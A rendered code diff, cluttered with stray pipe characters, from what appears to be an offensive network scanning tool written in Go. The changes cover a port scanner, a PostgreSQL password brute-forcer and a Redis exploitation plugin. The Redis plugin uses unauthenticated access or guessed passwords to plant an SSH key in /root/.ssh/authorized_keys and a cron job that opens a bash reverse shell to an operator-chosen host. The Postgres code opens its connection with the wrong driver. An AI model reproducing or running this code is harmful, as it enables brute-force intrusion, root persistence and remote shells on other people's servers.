Timeout := time.Duration(adjustedTimeout) * time.Second
|
||||||
|
for port := range ports{
|
||||||
|
start := time.Now()
|
||||||
|
con, err := net.DialTimeout("tcp4", fmt.Sprintf("%s:%d", host, port), time.Duration(adjustedTimeout) * time.Second)
|
||||||
|
duration := time.Now().Sub(start)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
con.Close()
|
defer con.Close()
|
||||||
address := host + ":" + strconv.Itoa(port)
|
address := host + ":" + strconv.Itoa(port)
|
||||||
result := fmt.Sprintf("%s open", address)
|
result := fmt.Sprintf("%s open",address)
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
respondingHosts <- address
|
respondingHosts <- address
|
||||||
}
|
}
|
||||||
|
if duration < Timeout {
|
||||||
|
difference := Timeout - duration
|
||||||
|
Timeout = Timeout - (difference / 2)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
done <- true
|
done <- true
|
||||||
}
|
}
|
||||||
|
|
||||||
func ScanAllports(address string, probePorts []int, threads int, adjustedTimeout int64) ([]string, error) {
|
func ScanAllports(address string, probePorts []int, threads int, timeout time.Duration, model string, adjustedTimeout int) ([]string, error) {
|
||||||
ports := make(chan int, 20)
|
ports := make(chan int, 20)
|
||||||
results := make(chan string)
|
results := make(chan string, 10)
|
||||||
done := make(chan bool, threads)
|
done := make(chan bool, threads)
|
||||||
|
|
||||||
for worker := 0; worker < threads; worker++ {
|
for worker := 0; worker < threads; worker++ {
|
||||||
go ProbeHosts(address, ports, results, done, adjustedTimeout)
|
go ProbeHosts(address, ports, results, done, model, adjustedTimeout)
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, port := range probePorts {
|
for _,port := range probePorts{
|
||||||
ports <- port
|
ports <- port
|
||||||
}
|
}
|
||||||
close(ports)
|
close(ports)
|
||||||
@@ -47,55 +80,68 @@ func ScanAllports(address string, probePorts []int, threads int, adjustedTimeout
|
|||||||
if threads == 0 {
|
if threads == 0 {
|
||||||
return responses, nil
|
return responses, nil
|
||||||
}
|
}
|
||||||
|
case <-time.After(timeout):
|
||||||
|
return responses, nil
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TCPportScan(hostslist []string, ports string, timeout int64) []string {
|
func TCPportScan(hostslist []string,ports string,model string,timeout int) ([]string,[]string){
|
||||||
var AliveAddress []string
|
var AliveAddress []string
|
||||||
probePorts := common.ParsePort(ports)
|
var aliveHosts []string
|
||||||
|
probePorts := ParsePort(ports)
|
||||||
lm := 20
|
lm := 20
|
||||||
if len(hostslist) > 5 && len(hostslist) <= 50 {
|
if (len(hostslist)>5 && len(hostslist)<=50) {
|
||||||
lm = 40
|
lm = 40
|
||||||
} else if len(hostslist) > 50 && len(hostslist) <= 100 {
|
}else if(len(hostslist)>50 && len(hostslist)<=100){
|
||||||
lm = 50
|
lm = 50
|
||||||
} else if len(hostslist) > 100 && len(hostslist) <= 150 {
|
}else if(len(hostslist)>100 && len(hostslist)<=150){
|
||||||
lm = 60
|
lm = 60
|
||||||
} else if len(hostslist) > 150 && len(hostslist) <= 200 {
|
}else if(len(hostslist)>150 && len(hostslist)<=200){
|
||||||
lm = 70
|
lm = 70
|
||||||
} else if len(hostslist) > 200 {
|
}else if(len(hostslist)>200){
|
||||||
lm = 75
|
lm = 75
|
||||||
}
|
}
|
||||||
|
|
||||||
thread := 10
|
thread := 5
|
||||||
if len(probePorts) > 500 && len(probePorts) <= 4000 {
|
if (len(probePorts)>500 && len(probePorts)<=4000) {
|
||||||
thread = len(probePorts) / 100
|
thread = len(probePorts)/100
|
||||||
} else if len(probePorts) > 4000 && len(probePorts) <= 6000 {
|
}else if (len(probePorts)>4000 && len(probePorts)<=6000) {
|
||||||
thread = len(probePorts) / 200
|
thread = len(probePorts)/200
|
||||||
} else if len(probePorts) > 6000 && len(probePorts) <= 10000 {
|
}else if (len(probePorts)>6000 && len(probePorts)<=10000) {
|
||||||
thread = len(probePorts) / 350
|
thread = len(probePorts)/350
|
||||||
} else if len(probePorts) > 10000 && len(probePorts) < 50000 {
|
}else if (len(probePorts)>10000 && len(probePorts)<50000){
|
||||||
thread = len(probePorts) / 400
|
thread = len(probePorts)/400
|
||||||
} else if len(probePorts) >= 50000 && len(probePorts) <= 65535 {
|
}else if (len(probePorts)>=50000 && len(probePorts)<=65535){
|
||||||
thread = len(probePorts) / 500
|
thread = len(probePorts)/500
|
||||||
}
|
}
|
||||||
|
|
||||||
var wg sync.WaitGroup
|
var wg sync.WaitGroup
|
||||||
mutex := &sync.Mutex{}
|
mutex := &sync.Mutex{}
|
||||||
limiter := make(chan struct{}, lm)
|
limiter := make(chan struct{}, lm)
|
||||||
for _, host := range hostslist {
|
aliveHost := make(chan string, lm/2)
|
||||||
|
go func() {
|
||||||
|
for s := range aliveHost {
|
||||||
|
fmt.Println(s)
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
for _,host :=range hostslist{
|
||||||
wg.Add(1)
|
wg.Add(1)
|
||||||
limiter <- struct{}{}
|
limiter <- struct{}{}
|
||||||
go func(host string) {
|
go func(host string) {
|
||||||
defer wg.Done()
|
defer wg.Done()
|
||||||
if aliveAdd, err := ScanAllports(host, probePorts, thread, timeout); err == nil && len(aliveAdd) > 0 {
|
if aliveAdd, err := ScanAllports(host, probePorts,thread, 5*time.Second,model,timeout);err == nil && len(aliveAdd)>0{
|
||||||
mutex.Lock()
|
mutex.Lock()
|
||||||
AliveAddress = append(AliveAddress, aliveAdd...)
|
aliveHosts = append(aliveHosts,host)
|
||||||
|
for _,addr :=range aliveAdd{
|
||||||
|
AliveAddress = append(AliveAddress,addr)
|
||||||
|
}
|
||||||
mutex.Unlock()
|
mutex.Unlock()
|
||||||
}
|
}
|
||||||
<-limiter
|
<-limiter
|
||||||
}(host)
|
}(host)
|
||||||
}
|
}
|
||||||
wg.Wait()
|
wg.Wait()
|
||||||
return AliveAddress
|
close(aliveHost)
|
||||||
|
return aliveHosts,AliveAddress
|
||||||
}
|
}
|
||||||
|
|||||||
+19
-18
@@ -1,45 +1,46 @@
|
|||||||
package Plugins
|
package Plugins
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"../common"
|
||||||
"database/sql"
|
"database/sql"
|
||||||
"fmt"
|
"fmt"
|
||||||
_ "github.com/lib/pq"
|
_ "github.com/lib/pq"
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
func PostgresScan(info *common.HostInfo) (tmperr error) {
|
func PostgresScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||||
for _, user := range common.Userdict["postgresql"] {
|
Loop:
|
||||||
for _, pass := range common.Passwords {
|
for _,user:=range common.Userdict["postgresql"]{
|
||||||
|
for _,pass:=range common.Passwords{
|
||||||
pass = strings.Replace(pass, "{user}", string(user), -1)
|
pass = strings.Replace(pass, "{user}", string(user), -1)
|
||||||
flag, err := PostgresConn(info, user, pass)
|
flag,err := PostgresConn(info,user,pass,ch,wg)
|
||||||
if flag == true && err == nil {
|
if flag==true && err==nil {
|
||||||
return err
|
break Loop
|
||||||
} else {
|
|
||||||
errlog := fmt.Sprintf("[-] psql %v %v %v %v %v", info.Host, common.PORTList["psql"], user, pass, err)
|
|
||||||
common.LogError(errlog)
|
|
||||||
tmperr = err
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return tmperr
|
wg.Done()
|
||||||
|
<- ch
|
||||||
}
|
}
|
||||||
|
|
||||||
func PostgresConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
func PostgresConn(info *common.HostInfo,user string,pass string,ch chan int,wg *sync.WaitGroup)(flag bool,err error){
|
||||||
flag = false
|
flag = false
|
||||||
Host, Port, Username, Password := info.Host, common.PORTList["psql"], user, pass
|
Host,Port,Username,Password := info.Host, common.PORTList["psql"],user, pass
|
||||||
dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host, Port, "postgres", "disable")
|
dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host,Port, "postgres", "disable")
|
||||||
db, err := sql.Open("mysql", dataSourceName)
|
db, err := sql.Open("mysql", dataSourceName)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
|
db.SetConnMaxLifetime(time.Duration(info.Timeout)*time.Second)
|
||||||
defer db.Close()
|
defer db.Close()
|
||||||
err = db.Ping()
|
err = db.Ping()
|
||||||
if err == nil {
|
if err == nil {
|
||||||
result := fmt.Sprintf("Postgres:%v:%v:%v %v", Host, Port, Username, Password)
|
result := fmt.Sprintf("Postgres:%v:%v:%v %v",Host,Port,Username,Password)
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
flag = true
|
flag = true
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return flag, err
|
return flag,err
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
+117
-198
@@ -1,252 +1,181 @@
|
|||||||
package Plugins
|
package Plugins
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"../common"
|
||||||
"bufio"
|
"bufio"
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"net"
|
"net"
|
||||||
"os"
|
"os"
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
func RedisScan(info *common.HostInfo) (tmperr error) {
|
func RedisScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||||
flag, err := RedisUnauth(info)
|
flag,err := RedisUnauth(info)
|
||||||
if flag == true && err == nil {
|
if flag==true && err==nil {
|
||||||
return err
|
wg.Done()
|
||||||
|
<- ch
|
||||||
|
return
|
||||||
}
|
}
|
||||||
for _, pass := range common.Passwords {
|
|
||||||
pass = strings.Replace(pass, "{user}", "redis", -1)
|
Loop:
|
||||||
flag, err := RedisConn(info, pass)
|
for _,pass:=range common.Passwords{
|
||||||
if flag == true && err == nil {
|
pass = strings.Replace(pass, "{user}", string("redis"), -1)
|
||||||
return err
|
flag,err := RedisConn(info,pass,ch,wg)
|
||||||
} else {
|
if flag==true && err==nil {
|
||||||
errlog := fmt.Sprintf("[-] redis %v %v %v %v %v", info.Host, common.PORTList["redis"], pass, err)
|
break Loop
|
||||||
common.LogError(errlog)
|
}
|
||||||
tmperr = err
|
|
||||||
}
|
}
|
||||||
}
|
wg.Done()
|
||||||
return tmperr
|
<- ch
|
||||||
}
|
}
|
||||||
|
|
||||||
func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
|
func RedisConn(info *common.HostInfo,pass string,ch chan int,wg *sync.WaitGroup)(flag bool,err error){
|
||||||
flag = false
|
flag = false
|
||||||
realhost := fmt.Sprintf("%s:%d", info.Host, common.PORTList["redis"])
|
realhost:=fmt.Sprintf("%s:%d",info.Host,common.PORTList["redis"])
|
||||||
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
|
conn,err := net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second)
|
||||||
if err != nil {
|
if err != nil{
|
||||||
return flag, err
|
return flag,err
|
||||||
}
|
}
|
||||||
defer conn.Close()
|
defer conn.Close()
|
||||||
_, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass)))
|
conn.Write([]byte(fmt.Sprintf("auth %s\r\n",pass)))
|
||||||
if err != nil {
|
reply,err := readreply(conn)
|
||||||
return flag, err
|
//common.LogSuccess(result)
|
||||||
}
|
if strings.Contains(reply,"+OK"){
|
||||||
reply, err := readreply(conn)
|
result := fmt.Sprintf("Redis:%s %s",realhost,pass)
|
||||||
if err != nil {
|
|
||||||
return flag, err
|
|
||||||
}
|
|
||||||
if strings.Contains(reply, "+OK") {
|
|
||||||
result := fmt.Sprintf("[+] Redis:%s %s", realhost, pass)
|
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
flag = true
|
flag = true
|
||||||
Expoilt(realhost, conn)
|
Expoilt(info ,realhost,conn)
|
||||||
|
|
||||||
}
|
}
|
||||||
return flag, err
|
return flag,err
|
||||||
}
|
}
|
||||||
|
|
||||||
func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
|
|
||||||
|
func RedisUnauth(info *common.HostInfo) (flag bool,err error) {
|
||||||
flag = false
|
flag = false
|
||||||
realhost := fmt.Sprintf("%s:%d", info.Host, common.PORTList["redis"])
|
realhost:=fmt.Sprintf("%s:%d",info.Host,common.PORTList["redis"])
|
||||||
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
|
conn,err := net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second)
|
||||||
if err != nil {
|
if err != nil{
|
||||||
return flag, err
|
return flag,err
|
||||||
}
|
}
|
||||||
defer conn.Close()
|
defer conn.Close()
|
||||||
_, err = conn.Write([]byte("info\r\n"))
|
conn.Write([]byte("info\r\n"))
|
||||||
if err != nil {
|
reply,err := readreply(conn)
|
||||||
return flag, err
|
if strings.Contains(reply,"redis_version"){
|
||||||
}
|
result := fmt.Sprintf("Redis:%s unauthorized",realhost)
|
||||||
reply, err := readreply(conn)
|
|
||||||
if err != nil {
|
|
||||||
return flag, err
|
|
||||||
}
|
|
||||||
if strings.Contains(reply, "redis_version") {
|
|
||||||
result := fmt.Sprintf("[+] Redis:%s unauthorized", realhost)
|
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
flag = true
|
flag = true
|
||||||
Expoilt(realhost, conn)
|
Expoilt(info ,realhost,conn)
|
||||||
}
|
}
|
||||||
return flag, err
|
return flag,err
|
||||||
}
|
}
|
||||||
|
|
||||||
func Expoilt(realhost string, conn net.Conn) error {
|
func Expoilt(info *common.HostInfo,realhost string,conn net.Conn) {
|
||||||
flagSsh, flagCron, err := testwrite(conn)
|
flagSsh,flagCron := testwrite(conn)
|
||||||
if err != nil {
|
if flagSsh == true{
|
||||||
return err
|
result := fmt.Sprintf("Redis:%v like can write /root/.ssh/",realhost)
|
||||||
}
|
|
||||||
if flagSsh == true {
|
|
||||||
result := fmt.Sprintf("Redis:%v like can write /root/.ssh/", realhost)
|
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
if common.RedisFile != "" {
|
if info.RedisFile != ""{
|
||||||
writeok, text, err := writekey(conn, common.RedisFile)
|
if writeok,text := writekey(conn,info.RedisFile);writeok{
|
||||||
if err != nil {
|
result := fmt.Sprintf("%v SSH public key was written successfully",realhost)
|
||||||
return err
|
|
||||||
}
|
|
||||||
if writeok {
|
|
||||||
result := fmt.Sprintf("%v SSH public key was written successfully", realhost)
|
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
} else {
|
}else {
|
||||||
fmt.Println("Redis:", realhost, "SSHPUB write failed", text)
|
fmt.Println(realhost,"SSHPUB write failed",text)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if flagCron == true {
|
if flagCron == true{
|
||||||
result := fmt.Sprintf("Redis:%v like can write /var/spool/cron/", realhost)
|
result := fmt.Sprintf("Redis:%v like can write /var/spool/cron/",realhost)
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
if common.RedisShell != "" {
|
if info.RedisShell != "" {
|
||||||
writeok, text, err := writecron(conn, common.RedisShell)
|
if writeok,text := writecron(conn,info.RedisShell);writeok{
|
||||||
if err != nil {
|
result := fmt.Sprintf("%v /var/spool/cron/root was written successfully",realhost)
|
||||||
return err
|
|
||||||
}
|
|
||||||
if writeok {
|
|
||||||
result := fmt.Sprintf("%v /var/spool/cron/root was written successfully", realhost)
|
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
} else {
|
}else {
|
||||||
fmt.Println("Redis:", realhost, "cron write failed", text)
|
fmt.Println(realhost,"cron write failed",text)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return err
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func writekey(conn net.Conn, filename string) (flag bool, text string, err error) {
|
|
||||||
|
func writekey(conn net.Conn,filename string) (flag bool,text string) {
|
||||||
flag = false
|
flag = false
|
||||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
|
conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
|
||||||
if err != nil {
|
text,_ = readreply(conn)
|
||||||
return flag, text, err
|
if strings.Contains(text,"OK") {
|
||||||
}
|
conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n")))
|
||||||
text, err = readreply(conn)
|
text,_ = readreply(conn)
|
||||||
if err != nil {
|
if strings.Contains(text,"OK") {
|
||||||
return flag, text, err
|
key,_ := Readfile(filename)
|
||||||
}
|
conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n",key)))
|
||||||
if strings.Contains(text, "OK") {
|
text,_ = readreply(conn)
|
||||||
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n")))
|
if strings.Contains(text,"OK") {
|
||||||
if err != nil {
|
conn.Write([]byte(fmt.Sprintf("save\r\n")))
|
||||||
return flag, text, err
|
text,_ = readreply(conn)
|
||||||
}
|
if strings.Contains(text,"OK") {
|
||||||
text, err = readreply(conn)
|
|
||||||
if err != nil {
|
|
||||||
return flag, text, err
|
|
||||||
}
|
|
||||||
if strings.Contains(text, "OK") {
|
|
||||||
key, err := Readfile(filename)
|
|
||||||
if err != nil {
|
|
||||||
text = fmt.Sprintf("Open %s error, %v", filename, err)
|
|
||||||
return flag, text, err
|
|
||||||
}
|
|
||||||
if len(key) == 0 {
|
|
||||||
text = fmt.Sprintf("the keyfile %s is empty", filename)
|
|
||||||
return flag, text, err
|
|
||||||
}
|
|
||||||
_, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
|
|
||||||
if err != nil {
|
|
||||||
return flag, text, err
|
|
||||||
}
|
|
||||||
text, err = readreply(conn)
|
|
||||||
if err != nil {
|
|
||||||
return flag, text, err
|
|
||||||
}
|
|
||||||
if strings.Contains(text, "OK") {
|
|
||||||
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
|
|
||||||
if err != nil {
|
|
||||||
return flag, text, err
|
|
||||||
}
|
|
||||||
text, err = readreply(conn)
|
|
||||||
if err != nil {
|
|
||||||
return flag, text, err
|
|
||||||
}
|
|
||||||
if strings.Contains(text, "OK") {
|
|
||||||
flag = true
|
flag = true
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
text = strings.TrimSpace(text)
|
if len(text) > 50{
|
||||||
if len(text) > 50 {
|
|
||||||
text = text[:50]
|
text = text[:50]
|
||||||
}
|
}
|
||||||
return flag, text, err
|
return flag,text
|
||||||
}
|
}
|
||||||
|
|
||||||
func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
|
|
||||||
|
|
||||||
|
func writecron(conn net.Conn,host string) (flag bool,text string) {
|
||||||
flag = false
|
flag = false
|
||||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
|
conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
|
||||||
if err != nil {
|
text,_ = readreply(conn)
|
||||||
return flag, text, err
|
if strings.Contains(text,"OK") {
|
||||||
}
|
conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n")))
|
||||||
text, err = readreply(conn)
|
text,_ = readreply(conn)
|
||||||
if err != nil {
|
if strings.Contains(text,"OK") {
|
||||||
return flag, text, err
|
scan_ip,scan_port := strings.Split(host,":")[0],strings.Split(host,":")[1]
|
||||||
}
|
conn.Write([]byte(fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n",scan_ip,scan_port)))
|
||||||
if strings.Contains(text, "OK") {
|
text,_ = readreply(conn)
|
||||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n")))
|
if strings.Contains(text,"OK") {
|
||||||
if err != nil {
|
conn.Write([]byte(fmt.Sprintf("save\r\n")))
|
||||||
return flag, text, err
|
text,_ = readreply(conn)
|
||||||
}
|
if strings.Contains(text,"OK") {
|
||||||
text, err = readreply(conn)
|
|
||||||
if err != nil {
|
|
||||||
return flag, text, err
|
|
||||||
}
|
|
||||||
if strings.Contains(text, "OK") {
|
|
||||||
scanIp, scanPort := strings.Split(host, ":")[0], strings.Split(host, ":")[1]
|
|
||||||
_, err = conn.Write([]byte(fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", scanIp, scanPort)))
|
|
||||||
if err != nil {
|
|
||||||
return flag, text, err
|
|
||||||
}
|
|
||||||
text, err = readreply(conn)
|
|
||||||
if err != nil {
|
|
||||||
return flag, text, err
|
|
||||||
}
|
|
||||||
if strings.Contains(text, "OK") {
|
|
||||||
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
|
|
||||||
if err != nil {
|
|
||||||
return flag, text, err
|
|
||||||
}
|
|
||||||
text, err = readreply(conn)
|
|
||||||
if err != nil {
|
|
||||||
return flag, text, err
|
|
||||||
}
|
|
||||||
if strings.Contains(text, "OK") {
|
|
||||||
flag = true
|
flag = true
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
text = strings.TrimSpace(text)
|
if len(text) > 50{
|
||||||
if len(text) > 50 {
|
|
||||||
text = text[:50]
|
text = text[:50]
|
||||||
}
|
}
|
||||||
return flag, text, err
|
return flag,text
|
||||||
}
|
}
|
||||||
|
|
||||||
func Readfile(filename string) (string, error) {
|
func Readfile(filename string)(string,error){
|
||||||
file, err := os.Open(filename)
|
file, err := os.Open(filename)
|
||||||
if err != nil {
|
if err!=nil{
|
||||||
return "", err
|
fmt.Println("Open %s error, %v", filename,err)
|
||||||
|
return err.Error(),err
|
||||||
}
|
}
|
||||||
defer file.Close()
|
defer file.Close()
|
||||||
scanner := bufio.NewScanner(file)
|
scanner := bufio.NewScanner(file)
|
||||||
|
//scanner.Split(bufio.ScanLines)
|
||||||
for scanner.Scan() {
|
for scanner.Scan() {
|
||||||
text := strings.TrimSpace(scanner.Text())
|
//text := strings.TrimSpace(scanner.Text())
|
||||||
|
text := scanner.Text()
|
||||||
if text != "" {
|
if text != "" {
|
||||||
return text, nil
|
return text,nil
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return "", err
|
return err.Error(),err
|
||||||
}
|
}
|
||||||
|
|
||||||
func readreply(conn net.Conn) (result string, err error) {
|
func readreply(conn net.Conn) (result string,err error) {
|
||||||
buf := make([]byte, 4096)
|
buf := make([]byte, 4096)
|
||||||
for {
|
for {
|
||||||
count, err := conn.Read(buf)
|
count, err := conn.Read(buf)
|
||||||
@@ -258,32 +187,22 @@ func readreply(conn net.Conn) (result string, err error) {
|
|||||||
break
|
break
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return result, err
|
return result,err
|
||||||
}
|
}
|
||||||
|
|
||||||
func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
|
func testwrite(conn net.Conn) (flagSsh bool,flagCron bool) {
|
||||||
|
flagSsh = false
|
||||||
|
flagCron = false
|
||||||
var text string
|
var text string
|
||||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
|
conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
|
||||||
if err != nil {
|
text,_ = readreply(conn)
|
||||||
return flag, flagCron, err
|
if strings.Contains(string(text),"OK") {
|
||||||
|
flagSsh = true
|
||||||
}
|
}
|
||||||
text, err = readreply(conn)
|
conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
|
||||||
if err != nil {
|
text,_ = readreply(conn)
|
||||||
return flag, flagCron, err
|
if strings.Contains(string(text),"OK") {
|
||||||
}
|
|
||||||
if strings.Contains(text, "OK") {
|
|
||||||
flag = true
|
|
||||||
}
|
|
||||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
|
|
||||||
if err != nil {
|
|
||||||
return flag, flagCron, err
|
|
||||||
}
|
|
||||||
text, err = readreply(conn)
|
|
||||||
if err != nil {
|
|
||||||
return flag, flagCron, err
|
|
||||||
}
|
|
||||||
if strings.Contains(text, "OK") {
|
|
||||||
flagCron = true
|
flagCron = true
|
||||||
}
|
}
|
||||||
return flag, flagCron, err
|
return flagSsh,flagCron
|
||||||
}
|
}
|
||||||
+57
-67
@@ -1,89 +1,30 @@
|
|||||||
package Plugins
|
package Plugins
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"../common"
|
||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"reflect"
|
"reflect"
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
)
|
)
|
||||||
|
func scan_func(m map[string]interface{}, name string, infos ...interface{}) (result []reflect.Value, err error) {
|
||||||
func Scan(info common.HostInfo) {
|
|
||||||
fmt.Println("scan start")
|
|
||||||
Hosts, _ := common.ParseIP(info.Host, common.HostFile)
|
|
||||||
if common.IsPing == false {
|
|
||||||
Hosts = ICMPRun(Hosts, common.Ping)
|
|
||||||
fmt.Println("icmp alive hosts len is:", len(Hosts))
|
|
||||||
}
|
|
||||||
if info.Scantype == "icmp" {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
AlivePorts := TCPportScan(Hosts, info.Ports, info.Timeout)
|
|
||||||
if info.Scantype == "portscan" {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...}
|
|
||||||
for _, port := range common.PORTList {
|
|
||||||
severports = append(severports, strconv.Itoa(port))
|
|
||||||
}
|
|
||||||
var ch = make(chan struct{}, common.Threads)
|
|
||||||
var wg = sync.WaitGroup{}
|
|
||||||
for _, targetIP := range AlivePorts {
|
|
||||||
info.Host, info.Ports = strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1]
|
|
||||||
if info.Scantype == "all" {
|
|
||||||
if info.Ports == "445" { //scan more vul
|
|
||||||
AddScan("1000001", info, ch, &wg)
|
|
||||||
AddScan("1000002", info, ch, &wg)
|
|
||||||
} else if IsContain(severports, info.Ports) {
|
|
||||||
AddScan(info.Ports, info, ch, &wg)
|
|
||||||
} else {
|
|
||||||
AddScan("1000003", info, ch, &wg) //webtitle
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
port, _ := common.PortlistBack[info.Scantype]
|
|
||||||
scantype := strconv.Itoa(port)
|
|
||||||
AddScan(scantype, info, ch, &wg)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
wg.Wait()
|
|
||||||
common.WaitSave()
|
|
||||||
}
|
|
||||||
|
|
||||||
func AddScan(scantype string, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) {
|
|
||||||
wg.Add(1)
|
|
||||||
go func() {
|
|
||||||
err, _ := ScanFunc(PluginList, scantype, &info)
|
|
||||||
if common.LogErr {
|
|
||||||
tmperr := err[0].Interface()
|
|
||||||
if tmperr != nil {
|
|
||||||
tmperr1 := err[0].Interface().(error)
|
|
||||||
errtext := strings.Replace(tmperr1.Error(), "\n", "", -1)
|
|
||||||
fmt.Println("[-] ", info.Host+":"+info.Ports, errtext)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
wg.Done()
|
|
||||||
<-ch
|
|
||||||
}()
|
|
||||||
ch <- struct{}{}
|
|
||||||
}
|
|
||||||
|
|
||||||
func ScanFunc(m map[string]interface{}, name string, infos ...interface{}) (result []reflect.Value, err error) {
|
|
||||||
f := reflect.ValueOf(m[name])
|
f := reflect.ValueOf(m[name])
|
||||||
if len(infos) != f.Type().NumIn() {
|
if len(infos) != f.Type().NumIn() {
|
||||||
err = errors.New("The number of infos is not adapted ")
|
err = errors.New("The number of infos is not adapted.")
|
||||||
fmt.Println(err.Error())
|
if err != nil {
|
||||||
return result, nil
|
fmt.Println(err.Error())
|
||||||
|
// //os.Exit(0)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
in := make([]reflect.Value, len(infos))
|
in := make([]reflect.Value, len(infos))
|
||||||
for k, info := range infos {
|
for k, info := range infos {
|
||||||
in[k] = reflect.ValueOf(info)
|
in[k] = reflect.ValueOf(info)
|
||||||
}
|
}
|
||||||
result = f.Call(in)
|
result = f.Call(in)
|
||||||
return result, nil
|
return result,nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func IsContain(items []string, item string) bool {
|
func IsContain(items []string, item string) bool {
|
||||||
for _, eachItem := range items {
|
for _, eachItem := range items {
|
||||||
if eachItem == item {
|
if eachItem == item {
|
||||||
@@ -92,3 +33,52 @@ func IsContain(items []string, item string) bool {
|
|||||||
}
|
}
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func Scan(info *common.HostInfo) {
|
||||||
|
Hosts,_ := common.ParseIP(info.Host,info.HostFile)
|
||||||
|
if info.Isping == false{
|
||||||
|
Hosts = ICMPRun(Hosts)
|
||||||
|
}
|
||||||
|
